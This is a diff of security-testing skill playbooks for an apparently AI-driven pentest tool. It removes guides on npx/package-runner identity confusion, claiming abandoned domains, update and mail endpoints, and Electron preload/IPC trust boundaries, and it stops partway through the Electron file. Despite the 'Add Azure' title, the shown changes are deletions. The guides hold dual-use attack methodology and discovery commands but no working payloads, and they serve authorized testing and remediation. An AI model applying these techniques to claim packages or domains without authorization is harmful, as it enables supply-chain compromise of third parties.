Add Azure and Entra security skill

strix/skills/README.md

@@ -42,14 +42,7 @@ Notable source-aware skills:
 - `source_aware_whitebox` (coordination): white-box orchestration playbook
 - `source_aware_sast` (custom): semgrep/AST/secrets/supply-chain static triage workflow
 - `dependency_cve_scanning` (custom): trivy-based SCA workflow for reporting known dependency CVEs via `create_dependency_report`
-- `npx_confusion` (custom): npx/npm exec/bunx fallback and adjacent package-runner identity confusion, with runner-specific registry and reporting gates
-- `semantic_confusion` (vulnerabilities): cross-boundary parser, normalization, and representation mismatch analysis
-- `agentic_system_security` (vulnerabilities): effective-authority and MCP/tool ecosystem security testing
-- `browser_security` (vulnerabilities): browsing-context, postMessage, XS-Leaks, service-worker, and cross-origin state-machine testing
 - `azure` (cloud): Azure and Microsoft Entra privilege, PIM, workload identity, and cross-plane escalation analysis
-- `infrastructure_lifecycle` (reconnaissance): abandoned or mutable external dependencies such as update endpoints, MX, storage, and control domains
-- `argument_injection` (vulnerabilities): shell-free CLI option smuggling, secondary argument-file parsing, and platform-specific argv transformation boundaries
-- `electron_desktop_apps` (technologies): Electron renderer-to-native trust boundaries, preload/IPC exposure, and navigation analysis
 
 Notable LLM security skills:
 - `llm_applications` (technologies): end-to-end OWASP 2026 LLM01-LLM10 coverage across models, RAG, vectors, agents, tools, outputs, supply chain, and resource controls

strix/skills/custom/npx_confusion.md

@@ -1,233 +0,0 @@
----
-name: npx-confusion
-description: Test package and executable identity confusion in npx, npm exec, and bunx fallback, plus explicit auto-fetch runners such as pnpm/yarn dlx and deno run npm:, with runner-specific resolution analysis, registry-state controls, reporting gates, and false-positive elimination
----
-
-# npx Confusion
-
-Use this skill when a package runner may execute code from a package other than the publisher or package the workflow intended. For `npx`, `npm exec`, and `bunx`, the recurring case is a missing local executable being reinterpreted as a remotely fetched package spec. Explicit auto-fetch runners such as `pnpm dlx`, `yarn dlx`, and `deno run npm:` have different semantics; analyze them as an adjacent package-identity problem rather than pretending they share npm's fallback order.
-
-Load `dependency_cve_scanning` for known vulnerable versions, `infrastructure_lifecycle` for abandoned domains or registry resources, `agentic_system_security` for the authority of an MCP/agent process, and `semantic_confusion` for the general lookup-order model.
-
-## Core Condition
-
-Choose the branch that matches the runner.
-
-For local-first fallback (`npx`, `npm exec`, or `bunx`), require all of the following:
-
-1. A target-controlled workflow invokes a bare executable or ambiguous package token.
-2. The intended package and its executable name differ, or other evidence establishes the expected publisher/package.
-3. The executable is not resolved in the workflow's real local, workspace, global, or cache context as applicable to that runner.
-4. The runner consequently selects an unintended remote package spec from its configured registry.
-5. The affected workflow reaches that package's executable with security-relevant authority.
-
-For explicit auto-fetch runners (`pnpm dlx`/`pnx`/`pnpx`, `yarn dlx`, or `deno run npm:`), do not require or claim a missing-local-binary fallback. Require evidence that the command names or infers a package different from the one the workflow intended, such as a scoped-package/bin mismatch, typo, generated configuration error, or wrong publisher. Then prove the exact fetched package, chosen binary/module, execution path, and inherited authority.
-
-A public package merely being outside the target's ownership is not a vulnerability. Third-party packages are normal; the mismatch between intended executable provenance and actual registry resolution is the finding.
-
-## Resolution Model
-
-Record the npm version because `npx` has used `npm exec` since npm 7 and resolver behavior changes between releases. For npm, model these decisions:
-
-```text
-bare command
-  -> executable in ancestor node_modules/.bin?
-  -> executable in global bin?
-  -> matching local/global package and usable bin?
-  -> matching environment in the npx cache?
-  -> treat the command token as a package spec
-  -> fetch its manifest from the configured registry
-  -> infer one executable from package.json#bin
-  -> install into the npx cache and execute
-```
-
-Also record:
-
-- working directory and workspace root
-- local dependency tree and generated `node_modules/.bin` links
-- global prefix/bin directory and npx cache
-- `registry`, scope-specific registry rules, proxy and authentication configuration
-- command form, flags, package spec/version, TTY/CI state, and `yes` policy
-- npm's executable-inference result when the package exposes zero, one, or several `bin` entries
-
-Do not collapse package-name lookup and bin selection into one step. npm can fetch a manifest yet fail because it cannot infer exactly one executable.
-
-### Runner distinctions
-
-Record the exact runner and version. Do not reuse npm's local/global/cache ordering for another implementation.
-
-| Runner | Resolution behavior to model | Package binding / fetch control |
-|---|---|---|
-| `npx` / `npm exec` | Local/workspace/global/cache resolution followed by package-spec fallback; executable inference depends on `package.json#bin` | `--package <pkg>` binds the provider; `--no` rejects an install prompt |
-| `bunx` | Checks a locally installed package, then can install from npm into Bun's cache | `--package <pkg>` binds the provider; `--no-install` forbids installation |
-| `yarn dlx` | Downloads the command-named package into a temporary environment by default; this is not a local-bin fallback | `--package <pkg>` selects a different provider package |
-| `pnpm dlx` / `pnx` / `pnpx` | Fetches and hotloads a registry package, then runs its default binary; project trust policies are version-dependent | `--package=<pkg>` selects the provider; prefer declared dependencies plus `pnpm exec` when remote fetch is unintended |
-| `deno run npm:<pkg>` | Uses an explicit npm package spec and cache; a subpath can select a binary | Pin the package/subpath and model lock, cache, lifecycle-script, and Deno permission settings |
-
-Treat mutable tags and ranges such as `latest`, `next`, `@2`, caret, and tilde ranges as selectors, not pins. A privileged repeatable workflow needs an exact reviewed version plus lockfile/integrity enforcement where the runner supports it.
-
-## High-Signal Patterns
-
-### Bare executable fallback
-
-```text
-npx internal-tool
-npx -y internal-tool
-npm exec -- internal-tool
-```
-
-The signal is strongest in CI, release scripts, bootstrap commands, developer setup, and tool/agent configuration where the same command is run repeatedly.
-
-### Scoped package versus unscoped bin
-
-A scoped package can expose an unscoped executable:
-
-```json
-{
-  "name": "@org/tooling",
-  "bin": { "org-tool": "./bin/run.js" }
-}
-```
-
-Inside a correctly installed workspace, `npx org-tool` may resolve `node_modules/.bin/org-tool`. Outside that tree, the same command can fall back to the public package named `org-tool`. Treat documentation, MCP configuration, and bootstrap scripts as separate execution contexts rather than assuming the repository-local result applies everywhere.
-
-### Agent and MCP launchers
-
-Inspect `.mcp.json`, editor/desktop agent configuration, devcontainers, and generated tool launchers for `command: npx` plus `-y` and a bare package or binary name. Combine this resolver analysis with `agentic_system_security` to determine the credentials, tools, files, and network access inherited by that process.
-
-## Candidate Collection
-
-Search executable surfaces and retain file, line, command, and execution context:
-
-```bash
-rg -n --no-heading -g '!node_modules' -g '!**/dist/**' \
-  -e '\b(npx|npm\s+exec|bunx|pnx|pnpx|pnpm\s+dlx|yarn\s+dlx)\s+[^[:space:]]+' \
-  -e '\bdeno\s+run\b[^\n]*\bnpm:' \
-  -e '"command"\s*:\s*"(npx|bunx|pnx|pnpx|pnpm|yarn|deno)"' \
-  -e '"args"\s*:\s*\[[^]]*"(dlx|npm:[^"]+|-y)"' \
-  .
-```
-
-Search the source/configuration tree rather than a fixed file list: these commands also live in
-`scripts/`, husky/lint-staged hooks, `turbo.json`/`nx.json` task definitions,
-`.circleci/`, composite-action `action.yml`, devcontainer `postCreateCommand`,
-nested workspace `package.json` files, and editor/agent config under
-`.cursor/`, `.vscode/`, and `.mcp.json`. If generated output is itself shipped or executed, search its specific directory separately instead of globally including every `dist/` artifact.
-
-Also inspect:
-
-- package scripts and lifecycle hooks
-- workspace package `name` and `bin` maps
-- READMEs and generated setup instructions
-- CI composite actions and reusable workflows
-- source maps or bundled package metadata that reveal internal commands
-
-Discard paths, shell variables, flags, Node built-ins, and text that is not executed or presented as an executable command.
-
-## Establish the Actual Resolution
-
-Prefer inspecting the existing dependency tree, lockfile, workspace packages, and `.bin` links. Do not run `npm ci` merely to decide whether a command is local: it changes the tree and can execute lifecycle scripts.
-
-For a version-controlled reproduction environment, record npm's registry lookup without allowing a missing package to be installed:
-
-```bash
-npx --no --loglevel=http <candidate>
-```
-
-Interpret this carefully:
-
-- a local executable may run immediately; `--no` only refuses missing-package installation
-- an HTTP registry request shows fallback, not ownership or successful execution
-- a cancellation naming the missing package shows npm's chosen package spec
-- cache, global installs, parent directories, workspaces, and registry configuration can change the result
-
-Repeat the resolution analysis in every context that matters: repository root, documented launch directory, CI checkout, generated agent configuration, and bootstrap-before-install flow. Do not substitute a clean empty directory for the target context except to understand npm's generic name mapping.
-
-Do not apply `npx --no` as a generic dry-run flag. Use `bunx --no-install` only for Bun's local-resolution question. `dlx` and `deno run npm:` already name a remotely resolvable package, so validate their package spec, registry, cache/lock, selected binary or subpath, and permissions using that runner's own behavior.
-
-## Ownership and Registry State
-
-Query the exact registry selected by the target configuration, then distinguish:
-
-- intended package owned by the expected publisher
-- unrelated public package with the same name
-- unregistered name (`404` from a functioning registry)
-- private or access-controlled name (`401`/`403`)
-- transient/rate-limited/blocked lookup (`429`, `5xx`, timeout)
-- placeholder, reserved, disputed, or previously unpublished name
-
-Before trusting any of those states, check whether the target's lookup path can distinguish a known existing package from a newly generated negative control. Resolve the registry from the same working directory and configuration used by the target:
-
-```bash
-# Public npm example; use a known package from the actual registry when different.
-task_registry="$(npm config get registry)"
-npm view --registry="$task_registry" lodash name --json
-npm view --registry="$task_registry" "$(openssl rand -hex 12)" name --json
-```
-
-Run the pair through the same `.npmrc`, scope routing, authentication, proxy, and egress path as the candidate. Direct `curl` requests to the public registry are a separate observation unless the target runner uses that exact route. A successful pair establishes coarse positive/negative discrimination, not authenticity of every candidate response; verify that returned documents name the requested package and contain plausible registry metadata.
-
-If the pair fails or returns indistinguishable responses, mark the target-path registry state `UNKNOWN`. An independently verified public-registry response may characterize public state, but it does not prove what the target runner resolves. Re-confirm candidate absence before relying on it.
-
-A `404` proves absence from that registry at that time; it does not by itself prove that registration would be accepted. Registry similarity, trademark, reservation, security-hold, and unpublish rules remain separate facts. Two concrete cases to check rather than infer:
-
-- A registry-owned security placeholder occupies the name even when its only version is `0.0.1-security`. Do not identify one from the version alone: inspect the packument, description, dist-tags, top-level and version-level maintainers, and version publisher such as `_npmUser`.
-- npm rejects new unscoped names that collide with an existing package after `.`, `-`, and `_` are removed. Normalize both the candidate and existing names: looking up only the candidate's stripped form catches `some-tool` versus `sometool`, but misses the reverse direction when the existing package contains punctuation. Treat this as registry-policy eligibility evidence, not a guarantee that registration would otherwise succeed.
-
-When a candidate name is already registered, distinguish the target's own
-organization from an unrelated party before calling it a clash. Correlate `npm owner ls <name>`, version-level publisher metadata, known target-controlled npm organizations, and independently verified repository provenance. Repository/homepage fields are self-asserted supporting evidence and do not settle ownership alone. If publisher identity remains ambiguous, mark it `UNKNOWN`.
-
-## Validation and Impact
-
-Demonstrate the complete resolver statement:
-
-```text
-target-controlled invocation and context
-  -> intended executable absent
-  -> exact public package spec selected
-  -> package ownership/availability state
-  -> execution trigger and inherited authority
-```
-
-Do not report an unregistered name without an execution path, or an execution path whose command is satisfied locally in every relevant context. Derive impact from the environment that executes the package: developer workstation, CI job, release pipeline, agent runtime, container build, or documentation-only workflow.
-
-## Reporting
-
-There is no CVE and no vulnerable installed version here, so this does not go through `create_dependency_report`; that tool requires an advisory-matched CVE. Use `create_vulnerability_report` only after the applicable core condition is fully verified.
-
-A registry lookup or `404` alone is candidate evidence, not a working PoC. The report must preserve the target invocation and execution context, show the exact selected package and binary/module, demonstrate the runner's execution transition in a representative controlled setup without publishing the contested name, and establish the authority inherited by that process. When source is available, include the responsible invocation/configuration and concrete fix in `code_locations`.
-
-Do not file documentation/comment-only references, locally satisfied commands, unregisterable names, ambiguous ownership, or chains that stop before package execution. Retain them as investigation notes only when useful.
-
-Derive CVSS from the demonstrated path rather than a fixed severity label. Account for required developer/user action, registry and configuration prerequisites, runner permissions, credential availability, and the confidentiality, integrity, and availability actually exposed. A CI, release, container-build, or agent context can be severe, but the context name alone does not establish High or Critical impact.
-
-Deduplicate by root cause, affected asset/workflow, and remediation. Combine call sites when the same configuration mistake and fix apply; keep separate findings when the same candidate name affects different products, tenants, runner semantics, authority, or fixes.
-
-## False Positives
-
-- The executable is provided by a declared dependency in every real execution context.
-- `npx --package @scope/pkg <bin>` explicitly binds the executable to the intended package.
-- A versioned package spec or scope-specific registry points to the intended publisher.
-- The public package is the deliberately selected third-party tool.
-- npm fetches the manifest but cannot infer or execute a bin.
-- The reference appears only in generated/minified text with no executable call site.
-- A registry/proxy error is misread as an unregistered name, or the target-path control pair is inconclusive.
-- A package is absent but registry policy prevents the contested registration.
-- The command resolves to the deliberately selected ecosystem tool and expected publisher.
-- The already-registered name belongs to the target's own organization.
-- An explicit `dlx` or `npm:` package spec is treated as missing-local fallback without evidence of a package/publisher mismatch.
-
-## Remediation
-
-- Install the intended package and invoke its local executable through an npm script.
-- For npm, bind and pin the provider: `npx --package @org/tool@<version> org-tool`; use `--no` when a missing dependency must fail.
-- For Bun, use `bunx --package @org/tool@<version> org-tool` and `--no-install` when remote installation is not intended.
-- Replace `yarn dlx`/`pnpm dlx` in repeatable or privileged workflows with a declared, locked dependency plus the runner's local `exec` command. When ephemeral execution is required, bind and pin the provider package explicitly.
-- For Deno, pin the `npm:` package and binary subpath, retain a reviewed lockfile, use cache-only operation where appropriate, and grant only the permissions the command requires.
-- Route private scopes to the intended registry and prevent public fallback.
-- Pin package versions and lockfiles in privileged workflows.
-- Replace bare `npx -y <name>` agent launchers with reviewed, publisher-qualified, version-pinned package specs.
-
-## Summary
-
-Treat package-runner confusion as an identity and execution-context bug. Prove the runner-specific transition, distinguish binary names from package names, verify registry and publisher state without equating absence with eligibility, and report only a complete execution path under the affected workflow's actual authority.

strix/skills/custom/source_aware_sast.md

@@ -105,39 +105,6 @@ tree-sitter parse -q <file>
 
 Use outputs to improve route/symbol/sink maps for subsequent targeted scans.
 
-## Cross-Component Semantic Mapping
-
-Pattern scanners find local sinks but often miss a security decision in one component followed by a different interpretation in another. For complex middleware, proxies, frameworks, and plugin systems:
-
-1. Identify shared request/context fields and every writer/reader.
-2. Order the readers and writers by lifecycle phase: parse, route, authenticate, rewrite, authorize, dispatch, render.
-3. Mark fields whose semantic type changes (URL/path, MIME/handler, alias/package, external/internal route).
-4. Trace normal, error, retry, subrequest, and internal-redirect paths separately.
-5. Compare the representation checked by security code with the representation consumed by the final sink.
-
-Load `semantic_confusion` when this graph reveals overloaded fields, multiple parsers, normalization steps, or protocol translation.
-
-## Resolution and Namespace Risks
-
-In repositories with developer tooling, plugins, templates, or package runners, inspect lookup order rather than only dependency versions:
-
-- command runners that fall back from local binaries or `PATH` to a public registry
-- scoped/private package names exposing unscoped binary or alias names
-- plugin, template, module, and autoload search paths writable by a lower-privileged actor
-- CI/composite actions and devcontainer/bootstrap scripts that transitively execute package commands
-- missing local artifacts that silently activate a remote or broader fallback
-
-Record candidate names and verify ownership/existence without claiming or publishing them. A namespace gap is reportable only when the target actually resolves or executes the attacker-contestable name under realistic conditions.
-
-For npm/JavaScript, distinguish the package name from the executable name and
-model the actual working directory, dependency tree, global bin directory,
-cache, and registry configuration. `load_skill(["npx_confusion"])` when a bare
-`npx`/`npm exec` command may fall back from a missing executable to a public
-package. Trivy cannot detect this class because no installed package version
-needs to be vulnerable.
-
-Load `infrastructure_lifecycle` when source, images, firmware, or history contain abandoned domains, provider resources, package namespaces, update URLs, mail identities, telemetry, or control endpoints. Use targeted string/dataflow analysis when this is the research question; the full baseline scanner bundle is not required merely to trace one endpoint consumer.
-
 ## Secret and Supply Chain Coverage
 
 Detect hardcoded credentials:

strix/skills/reconnaissance/infrastructure_lifecycle.md

@@ -1,226 +0,0 @@
----
-name: infrastructure-lifecycle
-description: Discovery and security analysis of abandoned or ownership-drifted infrastructure trusted by software, firmware, DNS, mail, update systems, packages, scripts, telemetry, and deployed agents
----
-
-# Infrastructure Lifecycle Trust
-
-Use this skill when a product, application, device, image, or organization continues to trust an external name or provider resource whose ownership can expire, be deleted, be reassigned, or move outside the intended organization.
-
-This is broader than subdomain takeover. The vulnerable asset may make outbound requests to a retired update bucket, load JavaScript from an abandoned domain, send mail to an expired MX domain, query a reassigned WHOIS/RDAP server, install from a missing package namespace, or beacon to an embedded telemetry/control endpoint. The security property is continuity of ownership across the full lifetime of every trust consumer.
-
-## Trust-Consumer Graph
-
-Model each dependency:
-
-```text
-consumer/version/deployment
-  -> embedded logical name or URL
-  -> DNS/provider/package resolution chain
-  -> current owner/controller
-  -> content/protocol accepted
-  -> privilege and trigger in the consumer
-```
-
-Record separately:
-
-- where the reference is stored: source, binary, firmware, image layer, config, database, IaC, documentation, update metadata
-- deployed versions and whether the consumer still runs
-- endpoint type, resolution chain, TLS/signature/authentication requirements, and fallback order
-- current registration/provider ownership and historical ownership
-- request trigger, frequency, payload/data sent, and response/content interpretation
-- consumer privilege: browser origin, installer/root, CI runner, mail receiver, parser, agent, or telemetry process
-- decommission owner, renewal/update process, and monitoring coverage
-
-A domain or bucket being available is only half the finding. Show that a live in-scope consumer still trusts it and what that consumer would accept.
-
-## Control and Claimability Levels
-
-Do not collapse these into one claim:
-
-| Level | Evidence |
-|---|---|
-| Indicator | NXDOMAIN, expired registration, provider tombstone, missing package/resource |
-| Authoritative availability | Registrar/provider/package authority confirms the exact name/resource can be acquired or bound |
-| Acquisition/control | Authorized tester controls the registrable domain, resource, namespace, or provider binding |
-| Protocol identity | Required DNS, custom-host binding, TLS certificate, authentication, or protocol handshake succeeds |
-| Consumer acceptance | A live in-scope consumer contacts the controlled endpoint and accepts the relevant response semantics |
-
-Record the highest proven level for every consumer. Before acquisition or provider binding, determine whether control can immediately receive existing third-party traffic and apply the Passive Sensor and Sinkhole plan below.
-
-## High-Value Dependency Classes
-
-### Update and Code Distribution
-
-- firmware/software update URLs, manifests, package indexes, installers, drivers, VM/container images
-- CDN/object-storage buckets serving binaries, scripts, templates, rules, signatures, or configuration
-- browser JavaScript/CSS imports and desktop/mobile auto-update channels
-- bootstrap, CI, devcontainer, build, and installation scripts
-- model/agent skill, plugin, prompt, MCP server, and tool-definition update channels
-
-Record signature, hash, certificate, pinning, version/rollback, and content-type enforcement. TLS alone authenticates the current domain controller, not continuity with the original publisher.
-
-### Naming and Package Resolution
-
-- missing public/private package names, scoped package versus executable alias, plugin/module/template namespaces
-- `PATH`, autoload, search path, registry, cache, mirror, and remote fallback order
-- provider-generated hostnames or globally unique resource names released on deletion
-- legacy aliases retained in manifests, lockfiles, scripts, or installed products
-
-Do not register or publish candidate names merely to test them without explicit authorization and a containment plan. Prove the consumer's resolution behavior first.
-
-Registry "missing" responses are not interchangeable with "claimable".
-Similarity, reservation, security-hold, dispute, and unpublish rules can block
-a name that returns `404`; verify ownership and registry policy separately.
-Load `npx_confusion` when the consumer first treats a missing executable as an
-npm package spec. Model other ecosystems independently rather than assuming
-npm's resolution order applies to them.
-
-### Mail and Identity
-
-- expired organizational, supplier, recovery, notification, or former employee domains
-- MX targets and catch-all aliases that remain in applications, address books, SSO, password recovery, certificates, or vendor accounts
-- OAuth redirect/logout URIs, SAML endpoints, webhook callbacks, CORS/CSP allowlists, and trusted-origin lists tied to retired hosts
-- domain-based tenant verification and support/administrative identity flows
-
-Differentiate ability to receive a tester-created message from interception of real correspondence. Do not access unrelated mail or use received secrets/credentials.
-
-### Telemetry, Control, and Protocol Infrastructure
-
-- crash reporting, analytics, licensing, activation, NTP/DNS, support, and health-check endpoints
-- hardcoded agent/controller, webshell/C2, webhook, exfiltration, or callback domains embedded in deployed systems
-- hardcoded retired WHOIS/RDAP endpoints, certificate validation services, keyservers, mirrors, proxies, and service-discovery dependencies
-- local/remote management domains in appliances, mobile apps, extensions, and container images
-
-Treat unexpected inbound traffic as potentially sensitive. Passive receipt does not authorize interaction, command issuance, credential use, or expansion beyond the approved sensor purpose.
-
-## Discovery
-
-### Source, Image, and Firmware Corpus
-
-Extract hostnames, URLs, email domains, bucket names, package names, registry endpoints, and certificate subjects from:
-
-- source and history, lockfiles, CI/IaC, release assets, SBOMs
-- container/VM layers including deleted-file history
-- firmware rootfs, strings/resources, scripts, configs, examples, and updater logic
-- JavaScript/mobile/desktop bundles, extensions, templates, and documentation
-- logs and network captures from controlled normal operation
-
-Use staged extraction rather than relying on one broad regex:
-
-```bash
-# URLs and email addresses
-rg -n -i 'https?://|wss?://|s3[.-]|blob\.core\.|[A-Z0-9._%+-]+@[A-Z0-9.-]+' extracted/
-
-# Then query format-aware config keys, DNS/MX data, certificate metadata,
-# package manifests, and binary strings for bare hostnames/namespaces.
-```
-
-Review bare-hostname candidates for prose, source-map, test, and generated-data false positives. Deduplicate content-addressed layers and repeated vendor boilerplate so prevalence is not inflated. Preserve the source file, artifact hash, version, and surrounding semantic context for every candidate.
-
-### Ownership and Resolution History
-
-- Resolve A/AAAA/CNAME/NS/MX/TXT/CAA and retain complete chains.
-- Check current registrar/provider resource state through authoritative sources, including custom-domain binding and reservation rules.
-- Use historical DNS, CT, WHOIS/RDAP, package metadata, source history, and release timelines to establish ownership drift.
-- Identify wildcard/catch-all responses, parked domains, provider tombstones, and reused cloud IPs that mimic availability.
-- Compare vulnerable/current builds to learn whether the reference was removed, replaced, or cryptographically hardened. Record CAA, DNSSEC/DANE where relevant, certificate issuance/custom-host requirements, pinning, embedded trust stores, and independent content signatures.
-
-Do not rely on an HTTP `404`, NXDOMAIN, or “NoSuchBucket” alone. Providers reserve names, enforce ownership verification, or return identical errors for owned/private resources.
-
-### Live Consumer Confirmation
-
-Within scope, observe a controlled consumer through:
-
-- offline code/dataflow from trigger to request and response consumer
-- DNS/HTTP proxy logs in a lab
-- packet capture or process/network tracing during a normal test operation
-- a tester-owned canary endpoint configured through a supported setting
-- already-authorized sensor/sinkhole telemetry
-
-Record request method/protocol, SNI/Host, headers, authentication, body data classification, retry cadence, TLS verification, and how the response is parsed or executed.
-
-## Security Analysis
-
-Ask in order:
-
-1. Can ownership/control actually transfer to an unrelated party?
-2. Does an in-scope deployed consumer still resolve or contact it?
-3. What authenticity/integrity checks survive endpoint takeover?
-4. What response fields/content/protocol messages can the controller influence?
-5. Under what identity and privilege does the consumer process them?
-6. Is the trigger automatic, scheduled, administrative, user-driven, or update-only?
-7. What population and versions remain affected?
-8. What claimability level is proven, and is acquisition necessary for the remaining questions?
-9. Could acquisition receive out-of-scope traffic or data?
-10. Does this name serve several distinct consumers that require separate semantics and impact analysis?
-
-High-impact patterns include:
-
-- unsigned or weakly verified update/package content processed with system/administrator privilege
-- JavaScript loaded under a trusted web origin or CSP allowlist
-- mail/recovery/identity messages delivered to a re-registered domain
-- secrets or device metadata automatically sent to a reassigned endpoint
-- trusted control/telemetry responses parsed as commands, config, templates, or executable content
-- CA/domain verification, service discovery, or protocol logic depending on mutable external ownership
-
-## Passive Sensor and Sinkhole Handling
-
-Operating a domain or provider resource that receives real third-party traffic is a separate data-handling activity, not ordinary proof-of-concept hosting. Before enabling it, define:
-
-- written authorization and legal/privacy owner
-- accepted protocols and non-interaction policy
-- collection minimization, encryption, access control, retention, deletion, and redaction
-- handling for credentials, personal data, malware, or out-of-scope victims
-- notification/escalation and provider/registrar coordination
-- prohibition on commands, authentication attempts, payload delivery, or use of received secrets
-
-Prefer aggregate metadata or a unique tester-controlled canary. Do not deliberately expose a genuinely vulnerable product to collect wild exploitation without separate deployment authorization and containment review.
-
-## Relationship to Other Skills
-
-- Load `subdomain_takeover` for dangling DNS records or custom-domain provider bindings. Ordinary expiration/re-registration of a registrable domain, MX identity, or embedded software endpoint remains in this skill.
-- Load `source_aware_sast` for targeted source/dataflow confirmation; string presence does not prove current ownership or live consumption.
-- Load `agentic_system_security` only when the endpoint supplies or controls AI skills, plugins, MCP/model adapters, tool definitions, or effective agent authority.
-- Load `semantic_confusion` only when a security decision and privileged consumer use different endpoint/package/alias representations or resolution results. Pure temporal ownership drift does not require it.
-
-## Validation Deliverable
-
-Include:
-
-1. exact consumer artifact/version/deployment and reference location
-2. full DNS/provider/package resolution and current ownership evidence
-3. historical ownership/decommission timeline
-4. live or source-confirmed request trigger and accepted response semantics
-5. TLS/signature/hash/authentication behavior
-6. consumer privilege, affected population, and configuration prerequisites
-7. controlled ownership/canary evidence where authorized
-8. highest claimability level and confidence in live-consumer/prevalence evidence
-9. sensor/data-handling authorization when acquisition could receive existing traffic
-10. separate impact analysis for each mail, identity, update, telemetry, code, or control consumer
-11. remediation across both the endpoint and every retained consumer
-
-## Common False Positives
-
-- NXDOMAIN/provider tombstone with a name that cannot be registered or bound.
-- A hardcoded URL present only in dead code, examples, tests, or an undeployed version.
-- Live requests go to a vendor-controlled wildcard/catch-all despite an apparently missing specific resource.
-- Update content is independently signed and the reassigned endpoint cannot produce an accepted artifact; this usually blocks forged-code impact, but metadata exposure, update suppression, unsigned manifest fields, and rollback/version behavior still require analysis.
-- Expired domain appears in documentation but is absent from authentication, mail, software, and deployed configuration.
-- A package name is unregistered but the consumer is pinned to a private registry with no public fallback, the scope is routed by `.npmrc`, or the command is already satisfied by a locally installed binary.
-- The name is unregistered but registry policy, reservation, dispute, or unpublish state prevents the contested registration.
-- Inbound sensor traffic cannot be attributed to an in-scope consumer/version.
-
-## Remediation
-
-- Remove or replace references in every supported and still-deployed version.
-- Retain defensive ownership of externally embedded domains/resource names for the consumer's realistic lifetime.
-- Sign update/config/package content with independently managed, rotatable keys and enforce rollback/version policy.
-- Eliminate implicit public fallback; pin registries, publishers, hashes, and plugin identities.
-- Inventory domain/MX/provider/package dependencies in decommission workflows and continuous monitoring.
-- Revoke old credentials/tokens, rotate trust, and provide a migration/kill-switch path for stranded clients.
-- Monitor DNS, CT, registrar, provider binding, package namespace, and live outbound traffic for ownership drift.
-
-## Summary
-
-External names are long-lived security dependencies. Track every consumer to its current controller, prove that deployed software still trusts the endpoint, analyze the authenticity checks and processing privilege, and manage ownership for as long as any supported or abandoned client can call home.

strix/skills/technologies/electron_desktop_apps.md

@@ -1,181 +0,0 @@
----
-name: electron-desktop-apps
-description: Test Electron desktop applications across renderer, preload, IPC, main-process, navigation, custom-protocol, storage, permission, and update trust boundaries; use for packaged Electron apps, ASAR review, web-to-native capability analysis, and Electron-specific exploit chains
----
-
-# Electron Desktop Applications
-
-Use this skill for Electron applications. Other webview desktop frameworks may share the high-level web-to-native trust question, but their bridge, sandbox, update, and process APIs differ; do not apply Electron-specific conclusions to NW.js, CEF, Tauri, or Wails without mapping that framework separately.
-
-Pair this skill with `browser_security` for browser state and navigation, `xss` for renderer injection, `argument_injection` for native subprocess launches, and `insecure_deserialization` or `rce` for a main-process sink.
-
-## Architecture and Authority Map
-
-Inventory each security principal and the capabilities crossing between them:
-
-```text
-origin + document + frame
-  -> renderer JavaScript
-  -> preload isolated world
-  -> contextBridge API
-  -> IPC channel
-  -> sender/argument/identity checks
-  -> main process or utility process
-  -> filesystem, process, credential, media, network, update, or OS action
-```
-
-Record:
-
-- Electron, Chromium, Node, and application versions
-- packaging form, `app.asar`, unpacked resources, entry point, and fuses
-- every `BrowserWindow`, `WebContentsView`, `<webview>`, session/partition, and child window
-- `webPreferences`: `preload`, `nodeIntegration`, `contextIsolation`, `sandbox`, `webSecurity`, `allowRunningInsecureContent`, experimental features, and subframe/worker integration
-- every preload export and every `ipcMain.handle`/`ipcMain.on` consumer
-- origins/documents/frames that can reach each exported API
-- custom protocols, deep links, navigation helpers, permissions, downloads, storage, and update channels
-
-Do not infer authority from a setting or channel name alone. Follow one request from renderer input to the main-process side effect and record each authorization decision.
-
-## Package and Source Reconnaissance
-
-Extract the application bundle with a reviewed, version-pinned ASAR implementation or inspect an already unpacked `resources/app` tree. Locate `package.json#main`, preload paths, build metadata, Electron version, native modules, and update configuration.
-
-Search for:
-
-```text
-BrowserWindow  WebContentsView  webviewTag  webPreferences
-preload  contextBridge.exposeInMainWorld  ipcRenderer
-ipcMain.handle  ipcMain.on  webContents.ipc
-will-navigate  will-frame-navigate  will-redirect
-setWindowOpenHandler  loadURL  loadFile  openExternal
-setPermissionRequestHandler  registerSchemesAsPrivileged
-setAsDefaultProtocolClient  open-url  second-instance
-autoUpdater  electron-updater
-```
-
-Treat decompiled or bundled JavaScript as a hypothesis when source maps, minification, generated IPC bindings, or runtime feature flags can change the installed behavior.
-
-## Preload and Context-Bridge Analysis
-
-A preload script has privileged Electron/Node access even when `nodeIntegration` is disabled. With context isolation, it can still expose selected functions and values into the page's main world.
-
-Classify every export:
-
-- narrow operation with fixed channel and validated arguments
-- caller-selected channel or event name
-- direct exposure of `ipcRenderer`, Node/Electron modules, filesystem/process objects, or mutable privileged objects
-- callback/event registration that leaks the raw IPC event or privileged objects
-- secret/session/storage access
-- operation whose authorization exists only in renderer JavaScript
-
-A generic `send(channel, ...)` or `invoke(channel, ...)` bridge expands the renderer's candidate capability set, but the registered handler list is not the ACL. For each handler, inspect:
-
-- `event.senderFrame` URL/origin and frame identity validation
-- expected `webContents`, window, session/partition, and application state
-- user/tenant authorization and request provenance
-- argument schema, paths, URLs, command options, and object deserialization
-- result exposure and event subscriptions
-
-An IPC handler's existence does not prove an untrusted frame can invoke it successfully.
-
-## Navigation and Window Boundaries
-
-Web preferences belong to a `webContents`; navigation does not automatically turn a privileged window into an ordinary browser tab. A configured preload can run for newly loaded documents and expose its bridge to content that was never intended to receive it.
-
-Map all navigation causes:
-
-- user- or page-initiated main-frame navigation (`will-navigate`)
-- subframe navigation (`will-frame-navigate`)
-- server redirects (`will-redirect`)
-- new windows and popups (`setWindowOpenHandler`)
-- application calls to `loadURL`, `loadFile`, history APIs, or routing helpers
-- custom-protocol redirects and external-link handlers
-
-`will-navigate` does not cover every programmatic navigation, so the event's presence is not complete enforcement.
-
-Parse candidate URLs with `URL` and compare explicit protocol, origin/host, port, and path rules. Do not use string-prefix checks such as `startsWith("https://trusted.example")`. Apply the same canonical policy to initial loads, redirects, frames, popups, programmatic loads, and externally opened URLs.
-
-Before calling `shell.openExternal`, validate the scheme and complete destination expected by the feature. Treat `file:`, custom schemes, handler-specific arguments, credentials in URLs, and ambiguous encodings as separate cases.
-
-## Node, Isolation, and Sandbox Settings
-
-- `nodeIntegration: true` in a renderer that can execute untrusted script directly exposes Node capability and commonly turns renderer injection into native code execution.
-- `contextIsolation: false` weakens the boundary between page and preload worlds but is not, by itself, proof of native code execution.
